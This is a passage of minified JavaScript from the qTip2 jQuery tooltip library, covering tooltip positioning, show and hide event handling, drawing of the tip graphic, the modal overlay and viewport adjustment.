y.adjusted,e===E||!z||isNaN(y.left)||isNaN(y.top)||"mouse"===m||!d.isFunction(l.effect)?k.css(y):d.isFunction(l.effect)&&(l.effect.call(k,this,d.extend({},y)),k.queue(function(a){d(this).css({opacity:"",height:""}),db.ie&&this.style.removeAttribute("filter"),a()})),this.positioning=E,this):this},z.reposition.offset=function(a,c,e){function f(a,b){c.left+=b*a.scrollLeft(),c.top+=b*a.scrollTop()}if(!e[0])return c;var g,h,i,j,k=d(a[0].ownerDocument),l=!!db.ie&&"CSS1Compat"!==b.compatMode,m=e[0];do"static"!==(h=d.css(m,"position"))&&("fixed"===h?(i=m.getBoundingClientRect(),f(k,-1)):(i=d(m).position(),i.left+=parseFloat(d.css(m,"borderLeftWidth"))||0,i.top+=parseFloat(d.css(m,"borderTopWidth"))||0),c.left-=i.left+(parseFloat(d.css(m,"marginLeft"))||0),c.top-=i.top+(parseFloat(d.css(m,"marginTop"))||0),g||"hidden"===(j=d.css(m,"overflow"))||"visible"===j||(g=d(m)));while(m=m.offsetParent);return g&&(g[0]!==k[0]||l)&&f(g,1),c};var gb=(A=z.reposition.Corner=function(a,b){a=(""+a).replace(/([A-Z])/," $1").replace(/middle/gi,O).toLowerCase(),this.x=(a.match(/left|right/i)||a.match(/center/)||["inherit"])[0].toLowerCase(),this.y=(a.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase(),this.forceY=!!b;var c=a.charAt(0);this.precedance="t"===c||"b"===c?H:G}).prototype;gb.invert=function(a,b){this[a]=this[a]===L?N:this[a]===N?L:b||this[a]},gb.string=function(a){var b=this.x,c=this.y,d=b!==c?"center"===b||"center"!==c&&(this.precedance===H||this.forceY)?[c,b]:[b,c]:[b];return a!==!1?d.join(" "):d},gb.abbrev=function(){var a=this.string(!1);return a[0].charAt(0)+(a[1]&&a[1].charAt(0)||"")},gb.clone=function(){return new A(this.string(),this.forceY)},z.toggle=function(a,c){var e=this.cache,f=this.options,g=this.tooltip;if(c){if(/over|enter/.test(c.type)&&e.event&&/out|leave/.test(e.event.type)&&f.show.target.add(c.target).length===f.show.target.length&&g.has(c.relatedTarget).length)return this;e.event=d.event.fix(c)}if(this.waiting&&!a&&(this.hiddenDuringWait=D),!this.rendered)return a?this.render(1):this;if(this.destroyed||this.disabled)return this;var h,i,j,k=a?"show":"hide",l=this.options[k],m=(this.options[a?"hide":"show"],this.options.position),n=this.options.content,o=this.tooltip.css("width"),p=this.tooltip.is(":visible"),q=a||1===l.target.length,r=!c||l.target.length<2||e.target[0]===c.target;return(typeof a).search("boolean|number")&&(a=!p),h=!g.is(":animated")&&p===a&&r,i=h?F:!!this._trigger(k,[90]),this.destroyed?this:(i!==E&&a&&this.focus(c),!i||h?this:(d.attr(g[0],"aria-hidden",!a),a?(this.mouse&&(e.origin=d.event.fix(this.mouse)),d.isFunction(n.text)&&this._updateContent(n.text,E),d.isFunction(n.title)&&this._updateTitle(n.title,E),!C&&"mouse"===m.target&&m.adjust.mouse&&(d(b).bind("mousemove."+S,this._storeMouse),C=D),o||g.css("width",g.outerWidth(E)),this.reposition(c,arguments[2]),o||g.css("width",""),l.solo&&("string"==typeof l.solo?d(l.solo):d(W,l.solo)).not(g).not(l.target).qtip("hide",d.Event("tooltipsolo"))):(clearTimeout(this.timers.show),delete e.origin,C&&!d(W+'[tracking="true"]:visible',l.solo).not(g).length&&(d(b).unbind("mousemove."+S),C=E),this.blur(c)),j=d.proxy(function(){a?(db.ie&&g[0].style.removeAttribute("filter"),g.css("overflow",""),"string"==typeof l.autofocus&&d(this.options.show.autofocus,g).focus(),this.options.show.target.trigger("qtip-"+this.id+"-inactive")):g.css({display:"",visibility:"",opacity:"",left:"",top:""}),this._trigger(a?"visible":"hidden")},this),l.effect===E||q===E?(g[k](),j()):d.isFunction(l.effect)?(g.stop(1,1),l.effect.call(g,this),g.queue("fx",function(a){j(),a()})):g.fadeTo(90,a?1:0,j),a&&l.target.trigger("qtip-"+this.id+"-inactive"),this))},z.show=function(a){return this.toggle(D,a)},z.hide=function(a){return this.toggle(E,a)},z.focus=function(a){if(!this.rendered||this.destroyed)return this;var b=d(W),c=this.tooltip,e=parseInt(c[0].style.zIndex,10),f=y.zindex+b.length;return c.hasClass($)||this._trigger("focus",[f],a)&&(e!==f&&(b.each(function(){this.style.zIndex>e&&(this.style.zIndex=this.style.zIndex-1)}),b.filter("."+$).qtip("blur",a)),c.addClass($)[0].style.zIndex=f),this},z.blur=function(a){return!this.rendered||this.destroyed?this:(this.tooltip.removeClass($),this._trigger("blur",[this.tooltip.css("zIndex")],a),this)},z.disable=function(a){return this.destroyed?this:("toggle"===a?a=!(this.rendered?this.tooltip.hasClass(ab):this.disabled):"boolean"!=typeof a&&(a=D),this.rendered&&this.tooltip.toggleClass(ab,a).attr("aria-disabled",a),this.disabled=!!a,this)},z.enable=function(){return this.disable(E)},z._createButton=function(){var a=this,b=this.elements,c=b.tooltip,e=this.options.content.button,f="string"==typeof e,g=f?e:"Close tooltip";b.button&&b.button.remove(),b.button=e.jquery?e:d("<a />",{"class":"qtip-close "+(this.options.style.widget?"":S+"-icon"),title:g,"aria-label":g}).prepend(d("<span />",{"class":"ui-icon ui-icon-close",html:"×"})),b.button.appendTo(b.titlebar||c).attr("role","button").click(function(b){return c.hasClass(ab)||a.hide(b),E})},z._updateButton=function(a){if(!this.rendered)return E;var b=this.elements.button;a?this._createButton():b.remove()},z._setWidget=function(){var a=this.options.style.widget,b=this.elements,c=b.tooltip,d=c.hasClass(ab);c.removeClass(ab),ab=a?"ui-state-disabled":"qtip-disabled",c.toggleClass(ab,d),c.toggleClass("ui-helper-reset "+k(),a).toggleClass(Z,this.options.style.def&&!a),b.content&&b.content.toggleClass(k("content"),a),b.titlebar&&b.titlebar.toggleClass(k("header"),a),b.button&&b.button.toggleClass(S+"-icon",!a)},z._storeMouse=function(a){return(this.mouse=d.event.fix(a)).type="mousemove",this},z._bind=function(a,b,c,e,f){if(a&&c&&b.length){var g="."+this._id+(e?"-"+e:"");return d(a).bind((b.split?b:b.join(g+" "))+g,d.proxy(c,f||this)),this}},z._unbind=function(a,b){return a&&d(a).unbind("."+this._id+(b?"-"+b:"")),this},z._trigger=function(a,b,c){var e=d.Event("tooltip"+a);return e.originalEvent=c&&d.extend({},c)||this.cache.event||F,this.triggering=a,this.tooltip.trigger(e,[this].concat(b||[])),this.triggering=E,!e.isDefaultPrevented()},z._bindEvents=function(a,b,c,e,f,g){var h=c.filter(e).add(e.filter(c)),i=[];h.length&&(d.each(b,function(b,c){var e=d.inArray(c,a);e>-1&&i.push(a.splice(e,1)[0])}),i.length&&(this._bind(h,i,function(a){var b=this.rendered?this.tooltip[0].offsetWidth>0:!1;(b?g:f).call(this,a)}),c=c.not(h),e=e.not(h))),this._bind(c,a,f),this._bind(e,b,g)},z._assignInitialEvents=function(a){function b(a){return this.disabled||this.destroyed?E:(this.cache.event=a&&d.event.fix(a),this.cache.target=a&&d(a.target),clearTimeout(this.timers.show),void(this.timers.show=l.call(this,function(){this.render("object"==typeof a||c.show.ready)},c.prerender?0:c.show.delay)))}var c=this.options,e=c.show.target,f=c.hide.target,g=c.show.event?d.trim(""+c.show.event).split(" "):[],h=c.hide.event?d.trim(""+c.hide.event).split(" "):[];this._bind(this.elements.target,["remove","removeqtip"],function(){this.destroy(!0)},"destroy"),/mouse(over|enter)/i.test(c.show.event)&&!/mouse(out|leave)/i.test(c.hide.event)&&h.push("mouseleave"),this._bind(e,"mousemove",function(a){this._storeMouse(a),this.cache.onTarget=D}),this._bindEvents(g,h,e,f,b,function(){return this.timers?void clearTimeout(this.timers.show):E}),(c.show.ready||c.prerender)&&b.call(this,a)},z._assignEvents=function(){var c=this,e=this.options,f=e.position,g=this.tooltip,h=e.show.target,i=e.hide.target,j=f.container,k=f.viewport,l=d(b),q=(d(b.body),d(a)),r=e.show.event?d.trim(""+e.show.event).split(" "):[],s=e.hide.event?d.trim(""+e.hide.event).split(" "):[];d.each(e.events,function(a,b){c._bind(g,"toggle"===a?["tooltipshow","tooltiphide"]:["tooltip"+a],b,null,g)}),/mouse(out|leave)/i.test(e.hide.event)&&"window"===e.hide.leave&&this._bind(l,["mouseout","blur"],function(a){/select|option/.test(a.target.nodeName)||a.relatedTarget||this.hide(a)}),e.hide.fixed?i=i.add(g.addClass(Y)):/mouse(over|enter)/i.test(e.show.event)&&this._bind(i,"mouseleave",function(){clearTimeout(this.timers.show)}),(""+e.hide.event).indexOf("unfocus")>-1&&this._bind(j.closest("html"),["mousedown","touchstart"],function(a){var b=d(a.target),c=this.rendered&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0,e=b.parents(W).filter(this.tooltip[0]).length>0;b[0]===this.target[0]||b[0]===this.tooltip[0]||e||this.target.has(b[0]).length||!c||this.hide(a)}),"number"==typeof e.hide.inactive&&(this._bind(h,"qtip-"+this.id+"-inactive",o,"inactive"),this._bind(i.add(g),y.inactiveEvents,o)),this._bindEvents(r,s,h,i,m,n),this._bind(h.add(g),"mousemove",function(a){if("number"==typeof e.hide.distance){var b=this.cache.origin||{},c=this.options.hide.distance,d=Math.abs;(d(a.pageX-b.pageX)>=c||d(a.pageY-b.pageY)>=c)&&this.hide(a)}this._storeMouse(a)}),"mouse"===f.target&&f.adjust.mouse&&(e.hide.event&&this._bind(h,["mouseenter","mouseleave"],function(a){return this.cache?void(this.cache.onTarget="mouseenter"===a.type):E}),this._bind(l,"mousemove",function(a){this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(ab)&&this.tooltip[0].offsetWidth>0&&this.reposition(a)})),(f.adjust.resize||k.length)&&this._bind(d.event.special.resize?k:q,"resize",p),f.adjust.scroll&&this._bind(q.add(f.container),"scroll",p)},z._unassignEvents=function(){var c=this.options,e=c.show.target,f=c.hide.target,g=d.grep([this.elements.target[0],this.rendered&&this.tooltip[0],c.position.container[0],c.position.viewport[0],c.position.container.closest("html")[0],a,b],function(a){return"object"==typeof a});e&&e.toArray&&(g=g.concat(e.toArray())),f&&f.toArray&&(g=g.concat(f.toArray())),this._unbind(g)._unbind(g,"destroy")._unbind(g,"inactive")},d(function(){q(W,["mouseenter","mouseleave"],function(a){var b="mouseenter"===a.type,c=d(a.currentTarget),e=d(a.relatedTarget||a.target),f=this.options;b?(this.focus(a),c.hasClass(Y)&&!c.hasClass(ab)&&clearTimeout(this.timers.hide)):"mouse"===f.position.target&&f.position.adjust.mouse&&f.hide.event&&f.show.target&&!e.closest(f.show.target[0]).length&&this.hide(a),c.toggleClass(_,b)}),q("["+U+"]",X,o)}),y=d.fn.qtip=function(a,b,e){var f=(""+a).toLowerCase(),g=F,i=d.makeArray(arguments).slice(1),j=i[i.length-1],k=this[0]?d.data(this[0],S):F;return!arguments.length&&k||"api"===f?k:"string"==typeof a?(this.each(function(){var a=d.data(this,S);if(!a)return D;if(j&&j.timeStamp&&(a.cache.event=j),!b||"option"!==f&&"options"!==f)a[f]&&a[f].apply(a,i);else{if(e===c&&!d.isPlainObject(b))return g=a.get(b),E;a.set(b,e)}}),g!==F?g:this):"object"!=typeof a&&arguments.length?void 0:(k=h(d.extend(D,{},a)),this.each(function(a){var b,c;return c=d.isArray(k.id)?k.id[a]:k.id,c=!c||c===E||c.length<1||y.api[c]?y.nextid++:c,b=r(d(this),c,k),b===E?D:(y.api[c]=b,d.each(R,function(){"initialize"===this.initialize&&this(b)}),void b._assignInitialEvents(j))}))},d.qtip=e,y.api={},d.each({attr:function(a,b){if(this.length){var c=this[0],e="title",f=d.data(c,"qtip");if(a===e&&f&&"object"==typeof f&&f.options.suppress)return arguments.length<2?d.attr(c,cb):(f&&f.options.content.attr===e&&f.cache.attr&&f.set("content.text",b),this.attr(cb,b))}return d.fn["attr"+bb].apply(this,arguments)},clone:function(a){var b=(d([]),d.fn["clone"+bb].apply(this,arguments));return a||b.filter("["+cb+"]").attr("title",function(){return d.attr(this,cb)}).removeAttr(cb),b}},function(a,b){if(!b||d.fn[a+bb])return D;var c=d.fn[a+bb]=d.fn[a];d.fn[a]=function(){return b.apply(this,arguments)||c.apply(this,arguments)}}),d.ui||(d["cleanData"+bb]=d.cleanData,d.cleanData=function(a){for(var b,c=0;(b=d(a[c])).length;c++)if(b.attr(T))try{b.triggerHandler("removeqtip")}catch(e){}d["cleanData"+bb].apply(this,arguments)}),y.version="2.2.1",y.nextid=0,y.inactiveEvents=X,y.zindex=15e3,y.defaults={prerender:E,id:E,overwrite:D,suppress:D,content:{text:D,attr:"title",title:E,button:E},position:{my:"top left",at:"bottom right",target:E,container:E,viewport:E,adjust:{x:0,y:0,mouse:D,scroll:D,resize:D,method:"flipinvert flipinvert"},effect:function(a,b){d(this).animate(b,{duration:200,queue:E})}},show:{target:E,event:"mouseenter",effect:D,delay:90,solo:E,ready:E,autofocus:E},hide:{target:E,event:"mouseleave",effect:D,delay:0,fixed:E,inactive:E,leave:"window",distance:E},style:{classes:"",widget:E,width:E,height:E,def:D},events:{render:F,move:F,show:F,hide:F,toggle:F,visible:F,hidden:F,focus:F,blur:F}};var hb,ib="margin",jb="border",kb="color",lb="background-color",mb="transparent",nb=" !important",ob=!!b.createElement("canvas").getContext,pb=/rgba?\(0, 0, 0(, 0)?\)|transparent|#123456/i,qb={},rb=["Webkit","O","Moz","ms"];if(ob)var sb=a.devicePixelRatio||1,tb=function(){var a=b.createElement("canvas").getContext("2d");return a.backingStorePixelRatio||a.webkitBackingStorePixelRatio||a.mozBackingStorePixelRatio||a.msBackingStorePixelRatio||a.oBackingStorePixelRatio||1}(),ub=sb/tb;else var vb=function(a,b,c){return"<qtipvml:"+a+' xmlns="urn:schemas-microsoft.com:vml" class="qtip-vml" '+(b||"")+' style="behavior: url(#default#VML); '+(c||"")+'" />'};d.extend(v.prototype,{init:function(a){var b,c;c=this.element=a.elements.tip=d("<div />",{"class":S+"-tip"}).prependTo(a.tooltip),ob?(b=d("<canvas />").appendTo(this.element)[0].getContext("2d"),b.lineJoin="miter",b.miterLimit=1e5,b.save()):(b=vb("shape",'coordorigin="0,0"',"position:absolute;"),this.element.html(b+b),a._bind(d("*",c).add(c),["click","mousedown"],function(a){a.stopPropagation()},this._ns)),a._bind(a.tooltip,"tooltipmove",this.reposition,this._ns,this),this.create()},_swapDimensions:function(){this.size[0]=this.options.height,this.size[1]=this.options.width},_resetDimensions:function(){this.size[0]=this.options.width,this.size[1]=this.options.height},_useTitle:function(a){var b=this.qtip.elements.titlebar;return b&&(a.y===K||a.y===O&&this.element.position().top+this.size[1]/2+this.options.offset<b.outerHeight(D))},_parseCorner:function(a){var b=this.qtip.options.position.my;return a===E||b===E?a=E:a===D?a=new A(b.string()):a.string||(a=new A(a),a.fixed=D),a},_parseWidth:function(a,b,c){var d=this.qtip.elements,e=jb+s(b)+"Width";return(c?u(c,e):u(d.content,e)||u(this._useTitle(a)&&d.titlebar||d.content,e)||u(d.tooltip,e))||0},_parseRadius:function(a){var b=this.qtip.elements,c=jb+s(a.y)+s(a.x)+"Radius";return db.ie<9?0:u(this._useTitle(a)&&b.titlebar||b.content,c)||u(b.tooltip,c)||0},_invalidColour:function(a,b,c){var d=a.css(b);return!d||c&&d===a.css(c)||pb.test(d)?E:d},_parseColours:function(a){var b=this.qtip.elements,c=this.element.css("cssText",""),e=jb+s(a[a.precedance])+s(kb),f=this._useTitle(a)&&b.titlebar||b.content,g=this._invalidColour,h=[];return h[0]=g(c,lb)||g(f,lb)||g(b.content,lb)||g(b.tooltip,lb)||c.css(lb),h[1]=g(c,e,kb)||g(f,e,kb)||g(b.content,e,kb)||g(b.tooltip,e,kb)||b.tooltip.css(e),d("*",c).add(c).css("cssText",lb+":"+mb+nb+";"+jb+":0"+nb+";"),h},_calculateSize:function(a){var b,c,d,e=a.precedance===H,f=this.options.width,g=this.options.height,h="c"===a.abbrev(),i=(e?f:g)*(h?.5:1),j=Math.pow,k=Math.round,l=Math.sqrt(j(i,2)+j(g,2)),m=[this.border/i*l,this.border/g*l];return m[2]=Math.sqrt(j(m[0],2)-j(this.border,2)),m[3]=Math.sqrt(j(m[1],2)-j(this.border,2)),b=l+m[2]+m[3]+(h?0:m[0]),c=b/l,d=[k(c*f),k(c*g)],e?d:d.reverse()},_calculateTip:function(a,b,c){c=c||1,b=b||this.size;var d=b[0]*c,e=b[1]*c,f=Math.ceil(d/2),g=Math.ceil(e/2),h={br:[0,0,d,e,d,0],bl:[0,0,d,0,0,e],tr:[0,e,d,0,d,e],tl:[0,0,0,e,d,e],tc:[0,e,f,0,d,e],bc:[0,0,d,0,f,e],rc:[0,0,d,g,0,e],lc:[d,0,d,e,0,g]};return h.lt=h.br,h.rt=h.bl,h.lb=h.tr,h.rb=h.tl,h[a.abbrev()]},_drawCoords:function(a,b){a.beginPath(),a.moveTo(b[0],b[1]),a.lineTo(b[2],b[3]),a.lineTo(b[4],b[5]),a.closePath()},create:function(){var a=this.corner=(ob||db.ie)&&this._parseCorner(this.options.corner);return(this.enabled=!!this.corner&&"c"!==this.corner.abbrev())&&(this.qtip.cache.corner=a.clone(),this.update()),this.element.toggle(this.enabled),this.corner},update:function(b,c){if(!this.enabled)return this;var e,f,g,h,i,j,k,l,m=this.qtip.elements,n=this.element,o=n.children(),p=this.options,q=this.size,r=p.mimic,s=Math.round;b||(b=this.qtip.cache.corner||this.corner),r===E?r=b:(r=new A(r),r.precedance=b.precedance,"inherit"===r.x?r.x=b.x:"inherit"===r.y?r.y=b.y:r.x===r.y&&(r[b.precedance]=b[b.precedance])),f=r.precedance,b.precedance===G?this._swapDimensions():this._resetDimensions(),e=this.color=this._parseColours(b),e[1]!==mb?(l=this.border=this._parseWidth(b,b[b.precedance]),p.border&&1>l&&!pb.test(e[1])&&(e[0]=e[1]),this.border=l=p.border!==D?p.border:l):this.border=l=0,k=this.size=this._calculateSize(b),n.css({width:k[0],height:k[1],lineHeight:k[1]+"px"}),j=b.precedance===H?[s(r.x===L?l:r.x===N?k[0]-q[0]-l:(k[0]-q[0])/2),s(r.y===K?k[1]-q[1]:0)]:[s(r.x===L?k[0]-q[0]:0),s(r.y===K?l:r.y===M?k[1]-q[1]-l:(k[1]-q[1])/2)],ob?(g=o[0].getContext("2d"),g.restore(),g.save(),g.clearRect(0,0,6e3,6e3),h=this._calculateTip(r,q,ub),i=this._calculateTip(r,this.size,ub),o.attr(I,k[0]*ub).attr(J,k[1]*ub),o.css(I,k[0]).css(J,k[1]),this._drawCoords(g,i),g.fillStyle=e[1],g.fill(),g.translate(j[0]*ub,j[1]*ub),this._drawCoords(g,h),g.fillStyle=e[0],g.fill()):(h=this._calculateTip(r),h="m"+h[0]+","+h[1]+" l"+h[2]+","+h[3]+" "+h[4]+","+h[5]+" xe",j[2]=l&&/^(r|b)/i.test(b.string())?8===db.ie?2:1:0,o.css({coordsize:k[0]+l+" "+(k[1]+l),antialias:""+(r.string().indexOf(O)>-1),left:j[0]-j[2]*Number(f===G),top:j[1]-j[2]*Number(f===H),width:k[0]+l,height:k[1]+l}).each(function(a){var b=d(this);b[b.prop?"prop":"attr"]({coordsize:k[0]+l+" "+(k[1]+l),path:h,fillcolor:e[0],filled:!!a,stroked:!a}).toggle(!(!l&&!a)),!a&&b.html(vb("stroke",'weight="'+2*l+'px" color="'+e[1]+'" miterlimit="1000" joinstyle="miter"'))})),a.opera&&setTimeout(function(){m.tip.css({display:"inline-block",visibility:"visible"})},1),c!==E&&this.calculate(b,k)},calculate:function(a,b){if(!this.enabled)return E;var c,e,f=this,g=this.qtip.elements,h=this.element,i=this.options.offset,j=(g.tooltip.hasClass("ui-widget"),{});return a=a||this.corner,c=a.precedance,b=b||this._calculateSize(a),e=[a.x,a.y],c===G&&e.reverse(),d.each(e,function(d,e){var h,k,l; e===O?(h=c===H?L:K,j[h]="50%",j[ib+"-"+h]=-Math.round(b[c===H?0:1]/2)+i):(h=f._parseWidth(a,e,g.tooltip),k=f._parseWidth(a,e,g.content),l=f._parseRadius(a),j[e]=Math.max(-f.border,d?k:i+(l>h?l:-h)))}),j[a[c]]-=b[c===G?0:1],h.css({margin:"",top:"",bottom:"",left:"",right:""}).css(j),j},reposition:function(a,b,d){function e(a,b,c,d,e){a===Q&&j.precedance===b&&k[d]&&j[c]!==O?j.precedance=j.precedance===G?H:G:a!==Q&&k[d]&&(j[b]=j[b]===O?k[d]>0?d:e:j[b]===d?e:d)}function f(a,b,e){j[a]===O?p[ib+"-"+b]=o[a]=g[ib+"-"+b]-k[b]:(h=g[e]!==c?[k[b],-g[b]]:[-k[b],g[b]],(o[a]=Math.max(h[0],h[1]))>h[0]&&(d[b]-=k[b],o[b]=E),p[g[e]!==c?e:b]=o[a])}if(this.enabled){var g,h,i=b.cache,j=this.corner.clone(),k=d.adjusted,l=b.options.position.adjust.method.split(" "),m=l[0],n=l[1]||l[0],o={left:E,top:E,x:0,y:0},p={};this.corner.fixed!==D&&(e(m,G,H,L,N),e(n,H,G,K,M),(j.string()!==i.corner.string()||i.cornerTop!==k.top||i.cornerLeft!==k.left)&&this.update(j,E)),g=this.calculate(j),g.right!==c&&(g.left=-g.right),g.bottom!==c&&(g.top=-g.bottom),g.user=this.offset,(o.left=m===Q&&!!k.left)&&f(G,L,N),(o.top=n===Q&&!!k.top)&&f(H,K,M),this.element.css(p).toggle(!(o.x&&o.y||j.x===O&&o.y||j.y===O&&o.x)),d.left-=g.left.charAt?g.user:m!==Q||o.top||!o.left&&!o.top?g.left+this.border:0,d.top-=g.top.charAt?g.user:n!==Q||o.left||!o.left&&!o.top?g.top+this.border:0,i.cornerLeft=k.left,i.cornerTop=k.top,i.corner=j.clone()}},destroy:function(){this.qtip._unbind(this.qtip.tooltip,this._ns),this.qtip.elements.tip&&this.qtip.elements.tip.find("*").remove().end().remove()}}),hb=R.tip=function(a){return new v(a,a.options.style.tip)},hb.initialize="render",hb.sanitize=function(a){if(a.style&&"tip"in a.style){var b=a.style.tip;"object"!=typeof b&&(b=a.style.tip={corner:b}),/string|boolean/i.test(typeof b.corner)||(b.corner=D)}},B.tip={"^position.my|style.tip.(corner|mimic|border)$":function(){this.create(),this.qtip.reposition()},"^style.tip.(height|width)$":function(a){this.size=[a.width,a.height],this.update(),this.qtip.reposition()},"^content.title|style.(classes|widget)$":function(){this.update()}},d.extend(D,y.defaults,{style:{tip:{corner:D,mimic:E,width:6,height:6,border:D,offset:0}}});var wb,xb,yb="qtip-modal",zb="."+yb;xb=function(){function a(a){if(d.expr[":"].focusable)return d.expr[":"].focusable;var b,c,e,f=!isNaN(d.attr(a,"tabindex")),g=a.nodeName&&a.nodeName.toLowerCase();return"area"===g?(b=a.parentNode,c=b.name,a.href&&c&&"map"===b.nodeName.toLowerCase()?(e=d("img[usemap=#"+c+"]")[0],!!e&&e.is(":visible")):!1):/input|select|textarea|button|object/.test(g)?!a.disabled:"a"===g?a.href||f:f}function c(a){k.length<1&&a.length?a.not("body").blur():k.first().focus()}function e(a){if(i.is(":visible")){var b,e=d(a.target),h=f.tooltip,j=e.closest(W);b=j.length<1?E:parseInt(j[0].style.zIndex,10)>parseInt(h[0].style.zIndex,10),b||e.closest(W)[0]===h[0]||c(e),g=a.target===k[k.length-1]}}var f,g,h,i,j=this,k={};d.extend(j,{init:function(){return i=j.elem=d("<div />",{id:"qtip-overlay",html:"<div></div>",mousedown:function(){return E}}).hide(),d(b.body).bind("focusin"+zb,e),d(b).bind("keydown"+zb,function(a){f&&f.options.show.modal.escape&&27===a.keyCode&&f.hide(a)}),i.bind("click"+zb,function(a){f&&f.options.show.modal.blur&&f.hide(a)}),j},update:function(b){f=b,k=b.options.show.modal.stealfocus!==E?b.tooltip.find("*").filter(function(){return a(this)}):[]},toggle:function(a,e,g){var k=(d(b.body),a.tooltip),l=a.options.show.modal,m=l.effect,n=e?"show":"hide",o=i.is(":visible"),p=d(zb).filter(":visible:not(:animated)").not(k);return j.update(a),e&&l.stealfocus!==E&&c(d(":focus")),i.toggleClass("blurs",l.blur),e&&i.appendTo(b.body),i.is(":animated")&&o===e&&h!==E||!e&&p.length?j:(i.stop(D,E),d.isFunction(m)?m.call(i,e):m===E?i[n]():i.fadeTo(parseInt(g,10)||90,e?1:0,function(){e||i.hide()}),e||i.queue(function(a){i.css({left:"",top:""}),d(zb).length||i.detach(),a()}),h=e,f.destroyed&&(f=F),j)}}),j.init()},xb=new xb,d.extend(w.prototype,{init:function(a){var b=a.tooltip;return this.options.on?(a.elements.overlay=xb.elem,b.addClass(yb).css("z-index",y.modal_zindex+d(zb).length),a._bind(b,["tooltipshow","tooltiphide"],function(a,c,e){var f=a.originalEvent;if(a.target===b[0])if(f&&"tooltiphide"===a.type&&/mouse(leave|enter)/.test(f.type)&&d(f.relatedTarget).closest(xb.elem[0]).length)try{a.preventDefault()}catch(g){}else(!f||f&&"tooltipsolo"!==f.type)&&this.toggle(a,"tooltipshow"===a.type,e)},this._ns,this),a._bind(b,"tooltipfocus",function(a,c){if(!a.isDefaultPrevented()&&a.target===b[0]){var e=d(zb),f=y.modal_zindex+e.length,g=parseInt(b[0].style.zIndex,10);xb.elem[0].style.zIndex=f-1,e.each(function(){this.style.zIndex>g&&(this.style.zIndex-=1)}),e.filter("."+$).qtip("blur",a.originalEvent),b.addClass($)[0].style.zIndex=f,xb.update(c);try{a.preventDefault()}catch(h){}}},this._ns,this),void a._bind(b,"tooltiphide",function(a){a.target===b[0]&&d(zb).filter(":visible").not(b).last().qtip("focus",a)},this._ns,this)):this},toggle:function(a,b,c){return a&&a.isDefaultPrevented()?this:void xb.toggle(this.qtip,!!b,c)},destroy:function(){this.qtip.tooltip.removeClass(yb),this.qtip._unbind(this.qtip.tooltip,this._ns),xb.toggle(this.qtip,E),delete this.qtip.elements.overlay}}),wb=R.modal=function(a){return new w(a,a.options.show.modal)},wb.sanitize=function(a){a.show&&("object"!=typeof a.show.modal?a.show.modal={on:!!a.show.modal}:"undefined"==typeof a.show.modal.on&&(a.show.modal.on=D))},y.modal_zindex=y.zindex-200,wb.initialize="render",B.modal={"^show.modal.(on|blur)$":function(){this.destroy(),this.init(),this.qtip.elems.overlay.toggle(this.qtip.tooltip[0].offsetWidth>0)}},d.extend(D,y.defaults,{show:{modal:{on:E,effect:D,blur:D,stealfocus:D,escape:D}}}),R.viewport=function(c,d,e,f,g,h,i){function j(a,b,c,e,f,g,h,i,j){var k=d[f],s=u[a],t=v[a],w=c===Q,x=s===f?j:s===g?-j:-j/2,y=t===f?i:t===g?-i:-i/2,z=q[f]+r[f]-(n?0:m[f]),A=z-k,B=k+j-(h===I?o:p)-z,C=x-(u.precedance===a||s===u[b]?y:0)-(t===O?i/2:0);return w?(C=(s===f?1:-1)*x,d[f]+=A>0?A:B>0?-B:0,d[f]=Math.max(-m[f]+r[f],k-C,Math.min(Math.max(-m[f]+r[f]+(h===I?o:p),k+C),d[f],"center"===s?k-x:1e9))):(e*=c===P?2:0,A>0&&(s!==f||B>0)?(d[f]-=C+e,l.invert(a,f)):B>0&&(s!==g||A>0)&&(d[f]-=(s===O?-C:C)+e,l.invert(a,g)),d[f]<q&&-d[f]>B&&(d[f]=k,l=u.clone())),d[f]-k}var k,l,m,n,o,p,q,r,s=e.target,t=c.elements.tooltip,u=e.my,v=e.at,w=e.adjust,x=w.method.split(" "),y=x[0],z=x[1]||x[0],A=e.viewport,B=e.container,C=(c.cache,{left:0,top:0});return A.jquery&&s[0]!==a&&s[0]!==b.body&&"none"!==w.method?(m=B.offset()||C,n="static"===B.css("position"),k="fixed"===t.css("position"),o=A[0]===a?A.width():A.outerWidth(E),p=A[0]===a?A.height():A.outerHeight(E),q={left:k?0:A.scrollLeft(),top:k?0:A.scrollTop()},r=A.offset()||C,("shift"!==y||"shift"!==z)&&(l=u.clone()),C={left:"none"!==y?j(G,H,y,w.x,L,N,I,f,h):0,top:"none"!==z?j(H,G,z,w.y,K,M,J,g,i):0,my:l}):C},R.polys={polygon:function(a,b){var c,d,e,f={width:0,height:0,position:{top:1e10,right:0,bottom:0,left:1e10},adjustable:E},g=0,h=[],i=1,j=1,k=0,l=0;for(g=a.length;g--;)c=[parseInt(a[--g],10),parseInt(a[g+1],10)],c[0]>f.position.right&&(f.position.right=c[0]),c[0]<f.position.left&&(f.position.left=c[0]),c[1]>f.position.bottom&&(f.position.bottom=c[1]),c[1]<f.position.top&&(f.position.top=c[1]),h.push(c);if(d=f.width=Math.abs(f.position.right-f.position.left),e=f.height=Math.abs(f.position.bottom-f.position.top),"c"===b.abbrev())f.position={left:f.position.left+f.width/2,top:f.position.top+f.height/2};else{for(;d>0&&e>0&&i>0&&j>0;)for(d=Math.floor(d/2),e=Math.floor(e/2),b.x===L?i=d:b.x===N?i=f.width-d:i+=Math.floor(d/2),b.y===K?j=e:b.y===M?j=f.height-e:j+=Math.floor(e/2),g=h.length;g--&&!(h.length<2);)k=h[g][0]-f.position.left,l=h[g][1]-f.position.top,(b.x===L&&k>=i||b.x===N&&i>=k||b.x===O&&(i>k||k>f.width-i)||b.y===K&&l>=j||b.y===M&&j>=l||b.y===O&&(j>l||l>f.height-j))&&h.splice(g,1);f.position={left:h[0][0],top:h[0][1]}}return f},rect:function(a,b,c,d){return{width:Math.abs(c-a),height:Math.abs(d-b),position:{left:Math.min(a,c),top:Math.min(b,d)}}},_angles:{tc:1.5,tr:7/4,tl:5/4,bc:.5,br:.25,bl:.75,rc:2,lc:1,c:0},ellipse:function(a,b,c,d,e){var f=R.polys._angles[e.abbrev()],g=0===f?0:c*Math.cos(f*Math.PI),h=d*Math.sin(f*Math.PI);return{width:2*c-Math.abs(g),height:2*d-Math.abs(h),position:{left:a+g,top:b+h},adjustable:E}},circle:function(a,b,c,d){return R.polys.ellipse(a,b,c,c,d)}},R.svg=function(a,c,e){for(var 